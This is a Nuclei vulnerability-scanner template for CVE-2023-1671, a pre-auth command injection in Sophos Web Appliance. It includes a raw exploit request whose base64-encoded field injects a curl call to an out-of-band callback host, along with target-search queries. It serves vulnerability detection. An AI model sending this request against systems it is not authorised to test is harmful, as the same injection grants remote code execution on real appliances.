nuclei-templates/http/cves/2023/CVE-2023-1671.yaml

55 lines
1.9 KiB
YAML

id: CVE-2023-1671
info:
name: Sophos Web Appliance - Remote Code Execution
author: Co5mos
severity: critical
description: |
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
remediation: |
Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
reference:
- https://vulncheck.com/blog/cve-2023-1671-analysis
- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
- http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1671
cwe-id: CWE-77
epss-score: 0.36262
epss-percentile: 0.96759
cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sophos
product: web_appliance
shodan-query: title:"Sophos Web Appliance"
fofa-query: title="Sophos Web Appliance"
tags: packetstorm,cve,cve2023,rce,sophos,oast
http:
- raw:
- |
POST /index.php?c=blocked&action=continue HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 490a0046304402204687d76e53a3b731a4398740b65d8f3c06612a26afa0fc3c0434c0459996c19a0220671cf3717215b6583f274d295acbcf5731716a8cf66b16eb1b160c987b18a002:922c64590222798bb761d5b6d8e72950